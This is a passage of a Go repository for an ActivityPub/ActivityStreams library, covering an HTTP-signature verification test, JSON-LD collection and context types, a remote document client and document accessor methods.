"github.com/stretchr/testify/require" 10 | ) 11 | 12 | func Test_PixelFed(t *testing.T) { 13 | 14 | raw := removeTabs(`POST /@64d68054a4bf39a519f27c67/pub/inbox HTTP/1.1 15 | Host: emdev.ddns.net 16 | Accept: */* 17 | Date: Sun, 10 Sep 2023 01:12:22 GMT 18 | Digest: SHA-256=CjcIHEJJriyG8aC9K7mayMOi0drhBb2i4fvGI0t8phk= 19 | Content-Type: application/ld+json; profile="https://www.w3.org/ns/activitystreams" 20 | User-Agent: (Pixelfed/0.11.9; +https://pixelfed.social) 21 | Signature: keyId="https://pixelfed.social/users/benpate#main-key",headers="(request-target) host date digest content-type user-agent",algorithm="rsa-sha256",signature="cxaG7js7JxV5jvnHPqZQhLbIS47BX53A79DGNmVeKUYWQJk5sbsIgC+xvYxc7mZan2yI3EKNyrV/X61hAX1DyexeoGzGSAOmTnC0OdrniaWb3T71Supnej/1In0EuiL0+IXgqOH1AncwnZnYODBYOFOYgtoh2jWlmqKI8uE/L3iKP1nIhN8mUOf//6AqkkwNjz4PmPJ6nS1+gGckszjD1zxjFv2ncgo4rY4izSGVFdAU4QSA8ds3W6qIvha4nRoYeH8ZSzQjaIrM2owa62KgguonbBUa0NGNQHC5RxySj8Kzhw/AmIccKaJw7ythHAH9Km/zDflOVWZ62uurlv7Ikg==" 22 | Content-Length: 423 23 | 24 | {"@context":"https:\/\/www.w3.org\/ns\/activitystreams","id":"https:\/\/pixelfed.social\/users\/benpate#follow\/595731146082391369\/undo","type":"Undo","actor":"https:\/\/pixelfed.social\/users\/benpate","object":{"id":"https:\/\/pixelfed.social\/users\/benpate#follows\/595731146082391369","actor":"https:\/\/pixelfed.social\/users\/benpate","object":"https:\/\/emdev.ddns.net\/@64d68054a4bf39a519f27c67","type":"Follow"}}`) 25 | 26 | keyFinder := func(keyID string) (string, error) { 27 | return removeTabs( 28 | `-----BEGIN PUBLIC KEY----- 29 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsuI80UzaF1gQinBAZnz7 30 | CtqH4Rr6Booyii2ik+6Dw6nyuu//1VJVgWkck9xzGP1e0h2pqHNlqvsPxwjxw22o 31 | J31+hdU9mSOrK3C0k6nBT+RPEgfyj1UCXGk1lzfpKmgriftMGQ2kOQokRLqyKfXJ 32 | P7tizc3YUAGHw7pBWn/yV6SqMDyztvTF8Bzqx1zG4dvRLDpRWdVOZQkpZ+mrczt7 33 | TaYiZWkxSjZw0fsnoDXiDHX7cljq67Yrzu0WmeAR7fYAJgCxlC++557w95xY58Z9 34 | kIbcWXx0AExo/ed1GFNqFwg9Rdx58PzmA8dT9UpBOo9z6lu4KlbuWFYHz7b8HHGs 35 | rwIDAQAB 36 | -----END PUBLIC KEY-----`), nil 37 | } 38 | 39 | requestReader := bufio.NewReader(bytes.NewReader([]byte(raw))) 40 | request := must(http.ReadRequest(requestReader)) 41 | 42 | err := Verify(request, keyFinder, VerifierIgnoreTimeout()) 43 | require.Nil(t, err) 44 | } 45 | -------------------------------------------------------------------------------- /streams/README.md: -------------------------------------------------------------------------------- 1 | ## Hannibal / streams 2 | 3 | This package implements the [ActivityStreams 2.0](https://www.w3.org/TR/activitystreams-core/) 4 | specifications in Hannibal. Specifically, it provides an overly simplistic view of JSON-LD 5 | documents, contexts, and the various types of ActivityStream collections. 6 | 7 | This is not a rigorous implementation of JSON-LD. Instead, it is an easy way to navigate 8 | well-formatted JSON-LD documents and to iterate over their contents, as well as loading 9 | additional documents from the web when necessary. 10 | 11 | ```go 12 | // Load a document directly from its URL 13 | document, err := streams.Load("https://your.activitypub.server/@documentId") 14 | 15 | document.ID() // returns a string value 16 | document.Content() // returns the content property 17 | document.Published() // returns a time value 18 | 19 | // AttributedTo could be many things.. a single value, a link, or 20 | // an array of values and links. Let's make all of that easier. 21 | authors := document.AttributedTo() 22 | 23 | // You could just read the first author directly 24 | authors.Name() // returns the 'Name' string 25 | authors.ID() // returns the 'ID' string 26 | 27 | // Or you can use it as an iterator 28 | for authors := document.AttributedTo ; !authors.IsNil() ; authors = authors.Tail() { 29 | authors.Value() // returns the whole value from the array 30 | } 31 | ``` -------------------------------------------------------------------------------- /streams/bluemonday_test.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/require" 7 | ) 8 | 9 | // TestBlueMonday tests the content filtering implementation in streams.Documents 10 | func TestBlueMonday(t *testing.T) { 11 | 12 | badValue := map[string]any{ 13 | "name": "John Connor", 14 | "summary": "This is a bad summary ", 15 | "content": "

Some of this content should be visible.

", 16 | } 17 | 18 | badDocument := NewDocument(badValue) 19 | 20 | require.Equal(t, "John Connor", badDocument.Name()) 21 | require.Equal(t, "This is a bad summary ", badDocument.Summary()) 22 | require.Equal(t, "

Some of this content should be visible.

", badDocument.Content()) 23 | } 24 | -------------------------------------------------------------------------------- /streams/client.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | // Client represents an HTTP client (or facades in front of one) 4 | // that can load a JSON-LD document from a remote server. A Client 5 | // is injected into each streams.Document record so that the 6 | // Document can load additional linked data as needed. 7 | type Client interface { 8 | 9 | // Load returns a Document representing the specified URI. 10 | Load(uri string, options ...any) (Document, error) 11 | } 12 | -------------------------------------------------------------------------------- /streams/client_http.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "github.com/benpate/derp" 5 | "github.com/utterproofre/hannibal/vocab" 6 | "github.com/benpate/remote" 7 | ) 8 | 9 | type DefaultClient struct{} 10 | 11 | func NewDefaultClient() Client { 12 | return DefaultClient{} 13 | } 14 | 15 | // Load implements the hannibal.Client interface, which loads an ActivityStream 16 | // document from a remote server. For the hannibal default client, this method 17 | // simply loads the document from a remote server with no other processing. 18 | func (client DefaultClient) Load(url string, options ...any) (Document, error) { 19 | 20 | const location = "hannibal.streams.Client.Load" 21 | 22 | result := make(map[string]any) 23 | 24 | // Try to load-and-parse the value from the remote server 25 | transaction := remote.Get(url). 26 | Accept(vocab.ContentTypeActivityPub). 27 | Result(&result) 28 | 29 | if err := transaction.Send(); err != nil { 30 | return NilDocument(), derp.Wrap(err, location, "Error loading JSON-LD document", url) 31 | } 32 | 33 | // Return in triumph 34 | return NewDocument(result, 35 | WithClient(client), 36 | WithHTTPHeader(transaction.ResponseHeader()), 37 | ), 38 | nil 39 | } 40 | -------------------------------------------------------------------------------- /streams/client_test.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/benpate/rosetta/mapof" 8 | ) 9 | 10 | // nolint:unused 11 | type testClient struct { 12 | data mapof.Any 13 | } 14 | 15 | // nolint:unused 16 | func newTestClient() testClient { 17 | return testClient{ 18 | data: testStreamData(), 19 | } 20 | } 21 | 22 | // nolint:unused 23 | func (client testClient) Load(uri string, options ...any) (Document, error) { 24 | 25 | if value, ok := client.data[uri]; ok { 26 | return NewDocument(value, WithClient(client)), nil 27 | } 28 | 29 | return NilDocument(), derp.InternalError("hannibal.streams.testClient.Load", "Unknown URI", uri) 30 | } 31 | 32 | // testStreamData returns a collection of documents for the test client to return 33 | // nolint:unused 34 | func testStreamData() mapof.Any { 35 | 36 | rawData := mapof.String{ 37 | "https://demo/collection": `{ 38 | "@context":"https://w3.org/ns/activitystreams", 39 | "@id":"https://demo/collection", 40 | "@type":"Collection", 41 | "totalItems":3, 42 | "orderedItems":[ 43 | "https://example/collection-url-1", 44 | "https://example/collection-url-2", 45 | "https://example/collection-url-3" 46 | ] 47 | }`, 48 | "https://demo/ordered": `{ 49 | "@context":"https://w3.org/ns/activitystreams", 50 | "type":"OrderedCollection", 51 | "totalItems":3, 52 | "orderedItems":[ 53 | "https://example/url-1", 54 | "https://example/url-2", 55 | "https://example/url-3" 56 | ] 57 | }`, 58 | "https://demo/ordered-page": `{ 59 | "@context":"https://w3.org/ns/activitystreams", 60 | "type":"OrderedCollection", 61 | "totalItems":9, 62 | "first":"https://demo/ordered-page-1" 63 | }`, 64 | "https://demo/ordered-page-1": `{ 65 | "@context":"https://w3.org/ns/activitystreams", 66 | "type":"OrderedCollectionPage", 67 | "totalItems":9, 68 | "next":"https://demo/ordered-page-2", 69 | "orderedItems":[ 70 | "https://example/url-1", 71 | "https://example/url-2", 72 | "https://example/url-3" 73 | ] 74 | }`, 75 | "https://demo/ordered-page-2": `{ 76 | "@context":"https://w3.org/ns/activitystreams", 77 | "type":"OrderedCollectionPage", 78 | "totalItems":9, 79 | "next":"https://demo/ordered-page-3", 80 | "orderedItems":[ 81 | "https://example/url-4", 82 | "https://example/url-5", 83 | "https://example/url-6" 84 | ] 85 | }`, 86 | "https://demo/ordered-page-3": `{ 87 | "@context":"https://w3.org/ns/activitystreams", 88 | "type":"OrderedCollectionPage", 89 | "totalItems":9, 90 | "orderedItems":[ 91 | "https://example/url-7", 92 | "https://example/url-8", 93 | "https://example/url-9" 94 | ] 95 | }`, 96 | "https://demo/interminus": `{ 97 | "@context":"https://w3.org/ns/activitystreams", 98 | "type":"OrderedCollection", 99 | "totalItems":9, 100 | "first":"https://demo/interminus-1" 101 | }`, 102 | "https://demo/interminus-1": `{ 103 | "@context":"https://w3.org/ns/activitystreams", 104 | "type":"OrderedCollectionPage", 105 | "totalItems":9, 106 | "next":"https://demo/interminus-2", 107 | "orderedItems":[ 108 | "https://example/url-1", 109 | "https://example/url-2", 110 | "https://example/url-3" 111 | ] 112 | }`, 113 | } 114 | 115 | result := mapof.NewAny() 116 | for key, value := range rawData { 117 | 118 | item := mapof.NewAny() 119 | if err := json.Unmarshal([]byte(value), &item); err != nil { 120 | panic(err) 121 | } 122 | 123 | result[key] = item 124 | } 125 | 126 | return result 127 | } 128 | -------------------------------------------------------------------------------- /streams/collection.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/vocab" 8 | "github.com/benpate/rosetta/mapof" 9 | ) 10 | 11 | // Collection is a subtype of Object that represents ordered or unordered sets of Object or Link instances. 12 | // https://www.w3.org/ns/activitystreams#Collection 13 | type Collection struct { 14 | Context Context `json:"@context,omitempty" bson:"context,omitempty"` 15 | ID string `json:"id,omitempty" bson:"id,omitempty"` 16 | Type string `json:"type,omitempty" bson:"type,omitempty"` 17 | Summary string `json:"summary,omitempty" bson:"summary,omitempty"` // A natural language summarization of the object encoded as HTML. Multiple language tagged summaries may be provided. 18 | TotalItems int `json:"totalItems,omitempty" bson:"totalItems,omitempty"` // A non-negative integer specifying the total number of objects contained by the logical view of the collection. This number might not reflect the actual number of items serialized within the Collection object instance. 19 | Current string `json:"current,omitempty" bson:"current,omitempty"` // In a paged Collection, indicates the page that contains the most recently updated member items. 20 | First string `json:"first,omitempty" bson:"first,omitempty"` // In a paged Collection, indicates the furthest preceding page of items in the collection. 21 | Last string `json:"last,omitempty" bson:"last,omitempty"` // In a paged Collection, indicates the furthest proceeding page of the collection. 22 | Items []any `json:"items,omitempty" bson:"items,omitempty"` // Identifies the items contained in a collection. The items might be ordered or unordered. 23 | } 24 | 25 | func NewCollection(collectionID string) Collection { 26 | return Collection{ 27 | Context: DefaultContext(), 28 | Type: vocab.CoreTypeCollection, 29 | ID: collectionID, 30 | } 31 | } 32 | 33 | /****************************************** 34 | * JSON Marshalling 35 | ******************************************/ 36 | 37 | func (c *Collection) UnmarshalJSON(data []byte) error { 38 | 39 | result := make(map[string]any) 40 | 41 | if err := json.Unmarshal(data, &result); err != nil { 42 | return derp.Wrap(err, "activitystreams.Collection.UnmarshalJSON", "Error unmarshalling JSON", string(data)) 43 | } 44 | 45 | return c.UnmarshalMap(result) 46 | } 47 | 48 | func (c *Collection) UnmarshalMap(data mapof.Any) error { 49 | 50 | if dataType := data.GetString("type"); dataType != vocab.CoreTypeCollection { 51 | return derp.InternalError("activitystreams.Collection.UnmarshalMap", "Invalid type", dataType) 52 | } 53 | 54 | c.Type = vocab.CoreTypeCollection 55 | c.Summary = data.GetString("summary") 56 | c.TotalItems = data.GetInt("totalItems") 57 | c.Current = data.GetString("current") 58 | c.First = data.GetString("first") 59 | c.Last = data.GetString("last") 60 | 61 | if dataItems, ok := data["items"]; ok { 62 | if items, ok := UnmarshalItems(dataItems); ok { 63 | c.Items = items 64 | } 65 | } 66 | 67 | return nil 68 | } 69 | -------------------------------------------------------------------------------- /streams/collectionPage.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/vocab" 8 | "github.com/benpate/rosetta/mapof" 9 | ) 10 | 11 | // CollectionPage is used to represent distinct subsets of items from a Collection. Refer to the Activity Streams 2.0 Core for a complete description of the CollectionPage object. 12 | // https://www.w3.org/ns/activitystreams#CollectionPage 13 | type CollectionPage struct { 14 | Context Context `json:"@context,omitempty" bson:"context,omitempty"` 15 | Type string `json:"type,omitempty" bson:"type,omitempty"` // Identifies the Object or Link type. (CollectionPage, OrderedCollectionPage) 16 | ID string `json:"id,omitempty" bson:"id,omitempty"` // Provides the globally unique identifier for an Object or Link. 17 | Summary string `json:"summary,omitempty" bson:"summary,omitempty"` // A natural language summarization of the object encoded as HTML. Multiple language tagged summaries may be provided. 18 | TotalItems int `json:"totalItems,omitempty" bson:"totalItems,omitempty"` // A non-negative integer specifying the total number of objects contained by the logical view of the collection. This number might not reflect the actual number of items serialized within the Collection object instance. 19 | Current string `json:"current,omitempty" bson:"current,omitempty"` // In a paged Collection, indicates the page that contains the most recently updated member items. 20 | First string `json:"first,omitempty" bson:"first,omitempty"` // In a paged Collection, indicates the furthest preceding page of items in the collection. 21 | Last string `json:"last,omitempty" bson:"last,omitempty"` // In a paged Collection, indicates the furthest proceeding page of the collection. 22 | PartOf string `json:"partOf,omitempty" bson:"partOf,omitempty"` // dentifies the Collection to which a CollectionPage objects items belong. 23 | Prev string `json:"prev,omitempty" bson:"prev,omitempty"` // In a paged Collection, identifies the previous page of items. 24 | Next string `json:"next,omitempty" bson:"next,omitempty"` // In a paged Collection, indicates the next page of items. 25 | Items []any `json:"items,omitempty" bson:"items,omitempty"` // Identifies the items contained in a collection. The items might be ordered or unordered. 26 | } 27 | 28 | func NewCollectionPage(pageID string) CollectionPage { 29 | return CollectionPage{ 30 | Context: DefaultContext(), 31 | ID: pageID, 32 | Type: vocab.CoreTypeCollectionPage, 33 | } 34 | } 35 | 36 | /****************************************** 37 | * JSON Marshalling 38 | ******************************************/ 39 | func (c *CollectionPage) UnmarshalJSON(data []byte) error { 40 | 41 | result := mapof.NewAny() 42 | 43 | if err := json.Unmarshal(data, &result); err != nil { 44 | return derp.Wrap(err, "activitystreams.CollectionPage.UnmarshalJSON", "Error unmarshalling JSON", string(data)) 45 | } 46 | 47 | return c.UnmarshalMap(result) 48 | } 49 | 50 | func (c *CollectionPage) UnmarshalMap(data mapof.Any) error { 51 | 52 | if dataType := data.GetString("type"); dataType != vocab.CoreTypeCollectionPage { 53 | return derp.InternalError("activitystreams.CollectionPage.UnmarshalMap", "Invalid type", dataType) 54 | } 55 | 56 | c.Type = vocab.CoreTypeCollectionPage 57 | c.ID = data.GetString("id") 58 | c.Summary = data.GetString("summary") 59 | c.TotalItems = data.GetInt("totalItems") 60 | c.Current = data.GetString("current") 61 | c.First = data.GetString("first") 62 | c.Last = data.GetString("last") 63 | c.PartOf = data.GetString("partOf") 64 | c.Prev = data.GetString("prev") 65 | c.Next = data.GetString("next") 66 | 67 | if dataItems, ok := data["items"]; ok { 68 | if items, ok := UnmarshalItems(dataItems); ok { 69 | c.Items = items 70 | } 71 | } 72 | 73 | return nil 74 | } 75 | -------------------------------------------------------------------------------- /streams/context.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | 7 | "github.com/benpate/derp" 8 | "github.com/utterproofre/hannibal/vocab" 9 | ) 10 | 11 | type Context []ContextEntry 12 | 13 | func NewContext(args ...string) Context { 14 | result := make(Context, len(args)) 15 | 16 | for index, arg := range args { 17 | result[index] = NewContextEntry(arg) 18 | } 19 | 20 | return result 21 | } 22 | 23 | // DefaultContext represents the standard context defined by the W3C 24 | func DefaultContext() Context { 25 | return NewContext(vocab.NamespaceActivityStreams) 26 | } 27 | 28 | func (c Context) Length() int { 29 | if c == nil { 30 | return 0 31 | } 32 | 33 | return len(c) 34 | } 35 | 36 | func (c Context) IsEmpty() bool { 37 | return c.Length() == 0 38 | } 39 | 40 | func (c Context) IsEmptyTail() bool { 41 | return c.Length() <= 1 42 | } 43 | 44 | func (c Context) Head() *ContextEntry { 45 | if c.Length() == 0 { 46 | return nil 47 | } 48 | 49 | return &(c[0]) 50 | } 51 | 52 | func (c Context) Tail() Context { 53 | if c.Length() == 0 { 54 | return c 55 | } 56 | 57 | return c[1:] 58 | } 59 | 60 | // Add puts a new ContextEntry into the list and 61 | // returns a pointer to it so that additional properties 62 | // can be set. 63 | func (c *Context) Add(vocabulary string) *ContextEntry { 64 | entry := NewContextEntry(vocabulary) 65 | *c = append(*c, entry) 66 | return &((*c)[len(*c)-1]) 67 | } 68 | 69 | func (c Context) MarshalJSON() ([]byte, error) { 70 | 71 | const location = "writer.Context.MarshalJSON" 72 | 73 | switch len(c) { 74 | 75 | case 0: 76 | return []byte("null"), nil 77 | 78 | case 1: 79 | return json.Marshal(c[0]) 80 | } 81 | 82 | // Otherwise, write the Context as an array 83 | var buffer bytes.Buffer 84 | 85 | buffer.WriteByte('[') 86 | 87 | for index, context := range c { 88 | if index > 0 { 89 | buffer.WriteByte(',') 90 | } 91 | 92 | item, err := json.Marshal(context) 93 | 94 | if err != nil { 95 | return nil, derp.Wrap(err, location, "Failed to marshal context") 96 | } 97 | 98 | buffer.Write(item) 99 | } 100 | 101 | buffer.WriteByte(']') 102 | 103 | return buffer.Bytes(), nil 104 | } 105 | 106 | func (c *Context) UnmarshalJSON(data []byte) error { 107 | 108 | const location = "writer.Context.UnmarshalJSON" 109 | 110 | // If the data is empty, then this object is empty, too 111 | if len(data) == 0 { 112 | *c = make(Context, 0) 113 | return nil 114 | } 115 | 116 | // If this looks like a single item, then unmarshal it as a single item 117 | if (data[0] == '{') || (data[0] == '"') { 118 | 119 | onlyContext := ContextEntry{} 120 | 121 | if err := json.Unmarshal(data, &onlyContext); err != nil { 122 | return derp.Wrap(err, location, "Failed to unmarshal context") 123 | } 124 | 125 | *c = Context{onlyContext} 126 | return nil 127 | } 128 | 129 | // Otherwise, this looks like an array of contexts 130 | var entries []ContextEntry 131 | 132 | if err := json.Unmarshal(data, &entries); err != nil { 133 | return derp.Wrap(err, location, "Failed to unmarshal context array") 134 | } 135 | 136 | *c = entries 137 | return nil 138 | } 139 | -------------------------------------------------------------------------------- /streams/contextEntry.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | ) 6 | 7 | // ContextEntry 8 | // https://www.w3.org/TR/json-ld/#the-context 9 | type ContextEntry struct { 10 | Vocabulary string // The primary vocabulary represented by the context/document. 11 | Language string // The language 12 | Extensions map[string]string // a map of additional namespaces that are included in this context/document. 13 | } 14 | 15 | func NewContextEntry(vocabulary string) ContextEntry { 16 | return ContextEntry{ 17 | Vocabulary: vocabulary, 18 | Language: "und", 19 | Extensions: make(map[string]string), 20 | } 21 | } 22 | 23 | func (entry *ContextEntry) WithLanguage(language string) *ContextEntry { 24 | entry.Language = language 25 | return entry 26 | } 27 | 28 | func (entry *ContextEntry) WithExtension(key string, value string) *ContextEntry { 29 | if len(entry.Extensions) == 0 { 30 | entry.Extensions = make(map[string]string) 31 | } 32 | 33 | entry.Extensions[key] = value 34 | return entry 35 | } 36 | 37 | func (entry ContextEntry) MarshalJSON() ([]byte, error) { 38 | 39 | // If this context only has a vocabulary, then 40 | // use the short-form "string only" syntax 41 | if entry.IsVocabularyOnly() { 42 | return json.Marshal(entry.Vocabulary) 43 | } 44 | 45 | // Otherwise, use the long-form syntax as a JSON object 46 | result := make(map[string]any) 47 | result["@vocab"] = entry.Vocabulary 48 | 49 | if entry.IsLanguageDefined() { 50 | result["@language"] = entry.Language 51 | } 52 | 53 | if entry.HasExtensions() { 54 | for key, value := range entry.Extensions { 55 | result[key] = value 56 | } 57 | } 58 | 59 | return json.Marshal(result) 60 | } 61 | 62 | func (entry ContextEntry) IsVocabularyOnly() bool { 63 | if entry.IsLanguageDefined() { 64 | return false 65 | } 66 | 67 | if entry.HasExtensions() { 68 | return false 69 | } 70 | 71 | return true 72 | } 73 | 74 | func (entry ContextEntry) IsLanguageDefined() bool { 75 | if entry.Language == "" { 76 | return false 77 | } 78 | 79 | if entry.Language == "und" { 80 | return false 81 | } 82 | 83 | return true 84 | } 85 | 86 | func (entry ContextEntry) HasExtensions() bool { 87 | return len(entry.Extensions) > 0 88 | } 89 | -------------------------------------------------------------------------------- /streams/context_test.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/require" 8 | ) 9 | 10 | func TestNew(t *testing.T) { 11 | 12 | // Test default context data 13 | { 14 | c := DefaultContext() 15 | 16 | require.True(t, c.IsEmptyTail()) 17 | require.True(t, c.Tail().IsEmpty()) 18 | head := c.Head() 19 | require.Equal(t, "https://www.w3.org/ns/activitystreams", head.Vocabulary) 20 | require.Equal(t, "und", head.Language) 21 | require.Zero(t, len(head.Extensions)) 22 | 23 | result, err := c.MarshalJSON() 24 | require.Nil(t, err) 25 | require.Equal(t, `"https://www.w3.org/ns/activitystreams"`, string(result)) 26 | } 27 | 28 | // Test custom context, and chaining multiple contexts 29 | { 30 | c := NewContext() 31 | entry := c.Add("https://test.com").WithLanguage("en-us") 32 | 33 | require.Equal(t, "https://test.com", c.Head().Vocabulary) 34 | require.Equal(t, "en-us", c.Head().Language) 35 | require.Zero(t, len(c.Head().Extensions)) 36 | 37 | { 38 | result, err := json.Marshal(c) 39 | require.Nil(t, err) 40 | require.Equal(t, `{"@language":"en-us","@vocab":"https://test.com"}`, string(result)) 41 | } 42 | 43 | entry.WithExtension("ext", "https://extension.com/ns/activitystreams") 44 | 45 | json1, err1 := c.MarshalJSON() 46 | require.Nil(t, err1) 47 | require.Equal(t, `{"@language":"en-us","@vocab":"https://test.com","ext":"https://extension.com/ns/activitystreams"}`, string(json1)) 48 | 49 | c.Add("https://www.w3.org/ns/activitystreams") 50 | json2, err2 := c.MarshalJSON() 51 | 52 | require.Equal(t, `[{"@language":"en-us","@vocab":"https://test.com","ext":"https://extension.com/ns/activitystreams"},"https://www.w3.org/ns/activitystreams"]`, string(json2)) 53 | require.Nil(t, err2) 54 | } 55 | 56 | // Test safely adding an extension to an improperly initialized context 57 | { 58 | c := NewContext() 59 | c.Add("https://test.com"). 60 | WithExtension("dog", "https://dog.com/ns/activitystreams") 61 | 62 | require.Equal(t, "https://test.com", c.Head().Vocabulary) 63 | require.Equal(t, "und", c.Head().Language) 64 | require.Equal(t, c.Head().Extensions["dog"], "https://dog.com/ns/activitystreams") 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /streams/documentOption.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import "net/http" 4 | 5 | type DocumentOption func(*Document) 6 | 7 | // WithClient option sets the HTTP client that can load remote documents if necessary 8 | func WithClient(client Client) DocumentOption { 9 | return func(doc *Document) { 10 | if client == nil { 11 | doc.client = NewDefaultClient() 12 | } else { 13 | doc.client = client 14 | } 15 | } 16 | } 17 | 18 | // WithHTTPHeader attaches an HTTP header to the document 19 | func WithHTTPHeader(httpHeader http.Header) DocumentOption { 20 | return func(doc *Document) { 21 | doc.httpHeader = httpHeader 22 | } 23 | } 24 | 25 | // WithStats attaches statistics to the document 26 | func WithStats(statistics Statistics) DocumentOption { 27 | return func(doc *Document) { 28 | doc.statistics = statistics 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /streams/document_actor.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "github.com/benpate/domain" 5 | "github.com/utterproofre/hannibal/vocab" 6 | ) 7 | 8 | // https://www.w3.org/TR/activitypub/#x4-1-actor-objects 9 | 10 | // https://www.w3.org/TR/activitypub/#inbox 11 | func (document Document) Inbox() Document { 12 | return document.Get(vocab.PropertyInbox) 13 | } 14 | 15 | // https://www.w3.org/TR/activitypub/#outbox 16 | func (document Document) Outbox() Document { 17 | return document.Get(vocab.PropertyOutbox) 18 | } 19 | 20 | // https://www.w3.org/TR/activitypub/#following 21 | func (document Document) Following() Document { 22 | return document.Get(vocab.PropertyFollowing) 23 | } 24 | 25 | // https://www.w3.org/TR/activitypub/#followers 26 | func (document Document) Followers() Document { 27 | return document.Get(vocab.PropertyFollowers) 28 | } 29 | 30 | // https://www.w3.org/TR/activitypub/#liked 31 | func (document Document) Liked() Document { 32 | return document.Get(vocab.PropertyLiked) 33 | } 34 | 35 | // https://www.w3.org/TR/activitypub/#likes 36 | func (document Document) Likes() Document { 37 | return document.Get(vocab.PropertyLikes) 38 | } 39 | 40 | // http://w3id.org/fep/c648 41 | func (document Document) Blocked() Document { 42 | return document.Get(vocab.PropertyBlocked) 43 | } 44 | 45 | // https://www.w3.org/TR/activitypub/#streams-property 46 | func (document Document) Streams() Document { 47 | return document.Get(vocab.PropertyStreams) 48 | } 49 | 50 | // https://www.w3.org/TR/activitypub/#preferredUsername 51 | func (document Document) PreferredUsername() string { 52 | return document.Get(vocab.PropertyPreferredUsername).String() 53 | } 54 | 55 | // Alias for https://www.w3.org/TR/activitypub/#preferredUsername 56 | func (document Document) Username() string { 57 | return document.PreferredUsername() 58 | } 59 | 60 | // UsernameOrID returns the username of the document, if it exists, or the ID of the document if it does not. 61 | func (document Document) UsernameOrID() string { 62 | if username := document.PreferredUsername(); username != "" { 63 | return "@" + username + "@" + domain.NameOnly(document.ID()) 64 | } 65 | return document.ID() 66 | } 67 | 68 | // https://www.w3.org/TR/activitypub/#endpoints 69 | func (document Document) Endpoints() Document { 70 | return document.Get(vocab.PropertyEndpoints) 71 | } 72 | -------------------------------------------------------------------------------- /streams/document_header.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import "net/http" 4 | 5 | // HTTPHeader returns the http.Header object associated with this document 6 | func (document Document) HTTPHeader() http.Header { 7 | return document.httpHeader 8 | } 9 | 10 | // SetHTTPHeader sets the http.Header object associated with this document 11 | func (document *Document) SetHTTPHeader(httpHeader http.Header) { 12 | document.httpHeader = httpHeader 13 | } 14 | -------------------------------------------------------------------------------- /streams/document_json.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/property" 8 | ) 9 | 10 | /****************************************** 11 | * Custom JSON Marshalling / Unmarshalling 12 | ******************************************/ 13 | 14 | // MarshalJSON implements the json.Marshaller interface, 15 | // and provides a custom marshalling into JSON -- 16 | // essentially just aiming the marshaller at the 17 | // Document's value. 18 | func (document Document) MarshalJSON() ([]byte, error) { 19 | return json.Marshal(document.value.Raw()) 20 | } 21 | 22 | // UnmarshalJSON implements the json.Unmarshaller interface, 23 | // and provides a custom un-marshalling from JSON -- 24 | // essentially just aiming the unmashaller at the 25 | // Document's value 26 | func (document *Document) UnmarshalJSON(bytes []byte) error { 27 | value := document.value.Raw() 28 | if err := json.Unmarshal(bytes, &value); err != nil { 29 | return derp.Wrap(err, "streams.Document.UnmarshalJSON", "Error unmarshalling JSON into Document") 30 | } 31 | 32 | document.value = property.NewValue(value) 33 | return nil 34 | } 35 | -------------------------------------------------------------------------------- /streams/document_set.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/vocab" 5 | "github.com/benpate/rosetta/convert" 6 | ) 7 | 8 | // SetString sets a string property on the document 9 | func (document *Document) SetString(name string, value ...string) bool { 10 | 11 | head := document.value.Head() 12 | 13 | if len(value) == 1 { 14 | document.value = head.Set(name, value[0]) 15 | return true 16 | } 17 | 18 | document.value = head.Set(name, value) 19 | return true 20 | } 21 | 22 | // Append appends a value to a property on the document 23 | func (document *Document) Append(name string, value any) bool { 24 | 25 | // RULE: If the value is empty, then NOOP 26 | if value == "" { 27 | return false 28 | } 29 | 30 | currentValue := convert.SliceOfAny(document.value.Head().Get(name)) 31 | newValue := append(currentValue, value) 32 | 33 | document.value.Set(name, newValue) 34 | return true 35 | } 36 | 37 | // AppendString appends a string to a property on the document 38 | func (document *Document) AppendString(name string, value string) bool { 39 | 40 | // RULE: If the value is empty, then NOOP 41 | if value == "" { 42 | return false 43 | } 44 | 45 | currentValue := convert.SliceOfAny(document.value.Head().Get(name)) 46 | newValue := append(currentValue, value) 47 | 48 | document.value.Set(name, newValue) 49 | return true 50 | } 51 | 52 | /****************************************** 53 | * Set/Append Helpers 54 | ******************************************/ 55 | 56 | // SetTo sets the "to" property of the document 57 | func (document *Document) SetTo(value ...string) bool { 58 | return document.SetString(vocab.PropertyTo, value...) 59 | } 60 | 61 | // SetBto sets the "bto" property of the document 62 | func (document *Document) SetBTo(value ...string) bool { 63 | return document.SetString(vocab.PropertyBTo, value...) 64 | } 65 | 66 | // SetCC sets the "cc" property of the document 67 | func (document *Document) SetCC(value ...string) bool { 68 | return document.SetString(vocab.PropertyCC, value...) 69 | } 70 | 71 | // SetBCC sets the "bcc" property of the document 72 | func (document *Document) SetBCC(value ...string) bool { 73 | return document.SetString(vocab.PropertyBCC, value...) 74 | } 75 | 76 | // AppendTo appends a value to the "to" property of the document 77 | func (document *Document) AppendTo(value string) bool { 78 | return document.AppendString(vocab.PropertyTo, value) 79 | 